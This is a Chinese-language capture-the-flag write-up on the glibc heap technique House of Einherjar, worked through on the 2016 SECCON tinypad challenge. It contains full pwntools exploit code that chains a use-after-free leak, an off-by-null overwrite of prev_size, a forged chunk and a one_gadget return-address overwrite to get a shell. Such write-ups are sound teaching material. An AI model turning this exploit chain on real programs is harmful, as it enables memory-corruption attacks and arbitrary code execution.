house of einherjar

House of einherjar

0x01.简要介绍

house of einherjar可以让malloc返回一个任意大小的chunk,但条件有点苛刻::disappointed_relieved:

House Of Einherjar通过溢出修改chunk的prev_size和prev_inuse,

将prev_inuse改为0,让正常chunk被标记位被释放,

prev_size改为目标地址和正常chunk之间的距离,让正常chunk释放时去找fake chunk.

1
2
3
4
5
6
7
/* consolidate backward */
if (!prev_inuse(p)) {
prevsize = prev_size(p);
size += prevsize;
p = chunk_at_offset(p, -((long) prevsize));
unlink(av, p, bck, fwd);
}

在目标地址构造fake_chunk,需要伪造size位和fd,bk,fd和bk均指向chunk头部。

1
2
if (__builtin_expect (FD->bk != P || BK->fd != P, 0)) \
malloc_printerr (check_action, "corrupted double-linked list", P, AV);

通过释放正常的chunk触发向后合并让目标地址落入unsorted bin,

由于放入了unsorted bin,为了绕过检测,还需将fd,bk再次改为main_arena的地址

适用范围:存在off-by-null/off-by-one漏洞,可以在目标地址上构造fake chunk头。

例题分析:2016_seccon_tinypad

版本:2.23

0x02.保护分析

image-20250306191601986

没有开启PIE,got表不可改。

0x03.功能分析

程序有4个功能add,delete ,edit,exit

image-20250306183846165

add功能最多申请4个chunk,并且限制申请堆块最大为0x100

img

delete功能不会清空chunk list,存在UAF

image-20250306184641027

edit功能会先strlen当前要edit的chunk,然后以此作为edit功能输入的最大长度,然后会把输入的内容存储到bss段的tinypad中,同时chunklist也在tinypad中,但是在0x100字节之上,无法覆盖。

img

程序的read_until功能存在off-by-null漏洞。

0x03.编写exp

#此程序下标从1开始,且每次输出菜单界面,都会附带输出4个chunk的内容

泄露地址
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
add(0x70, 'a' * 8)  
add(0x70, 'b' * 8)
add(0x100, 'c' * 8)
add(0x100, 'c' * 8) #4

delete(2)
delete(1)
delete(3)

p.recvuntil("TENT"+"\x3a\x20")
heap_addr=u32(p.recv(4))-0x80
log_addr("heap_addr")
p.recvuntil("\x33")
p.recvuntil("TENT"+"\x3a\x20")

data=u64(p.recv(6).ljust(0x8,b'\x00'))

libc_addr=data-0x3c4b78
main_arena=data-88

delete(4)

通过UAF,泄露出堆地址,libc地址,和main_arena地址,然后free掉chunk4.

构造利用条件
1
2
3
4
5
6
7
8
9
10
add(0x18, 'a' * 0x18)#1
add(0x100, 'b' * 0xf8+"\x11")#2
add(0x100, 'c' * 0xf8)#3
add(0x100, 'd' * 0xf8)#4
fake_chunk=p64(0)+p64(0x101)+p64(tinypad_addr+0x20)*2
for i in range(len(p64(offset))-len(p64(offset).strip(b'\x00'))+1):
edit(1,b'a'*0x10+p64(offset).strip(b'\x00').rjust(8-i,b'f'))
#通过off-by-null把存储在的chunk2的prev_size位上的填充字节去除,只留下与fake_chunk间的距离。
edit(2,b'a'*0x20+fake_chunk)
delete(2)

计算出fake_chunk和正常chunk间的offset,再次计算出其中有几个\x00,通过循环,每次减少一个字节,通过read_until的off-by-null,把正常数据覆盖位\x00,在prev_size上构造出offset

然后edit chunk2,借此在tinypad高0x20位的地址上构造fake_chunk,

然后free(2),触发house of einherjar

可以看到unsorted bin中成功出现tinypad
image-20250306192449579

然后再次edit,修改其fd,bk为main_arena

1
2
3
4
5
6
7
8
9
payload=b'a'*0x20+p64(0)+p64(0x101)+p64(main_arena)*2
p.recvuntil('(CMD)>>> ')
p.sendline('e')
p.recvuntil('(INDEX)>>> ')
p.sendline(str(4))
p.recvuntil('(CONTENT)>>> ')
p.sendline(payload)
p.recvuntil('Is it OK?\n')
p.sendline('Y')
onegadget改返回地址
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
environ=libc_addr+libc.sym['__environ']
# 0x602148 0x602150 0x602158
fake_pad = b'a'*(0xd8)+ p64(environ) + b'a' * 8 + p64(0x602148)
# chunk1 chunk2_size chunk2


add(0xf8,fake_pad)
p.recvuntil(' # CONTENT: ')
environ_addr =u64(p.recv(6).ljust(0x8,b'\x00'))
ret=environ_addr-0xf0
log_addr("ret")
edit(2,p64(ret))

edit(1,p64(0x45226+libc_addr))

p.recvuntil('(CMD)>>> ')
p.sendline("Q")

p.sendline("cat ../flag\n")
# debug(p)

p.interactive()

environ中存在一个栈地址,因此把chunk1改为environ可泄露栈地址,把chunk2改为0x602148,在泄露地址后,把其改为返回地址,再次edit,把返回地址改为one_gadget,退出程序,即可getshell.

0x04.参考链接

PWN——House Of Einherjar CTF Wiki例题详解-安全KER - 安全资讯平台

House Of Einherjar - CTF Wiki

好好说话之House Of Einherjar-CSDN博客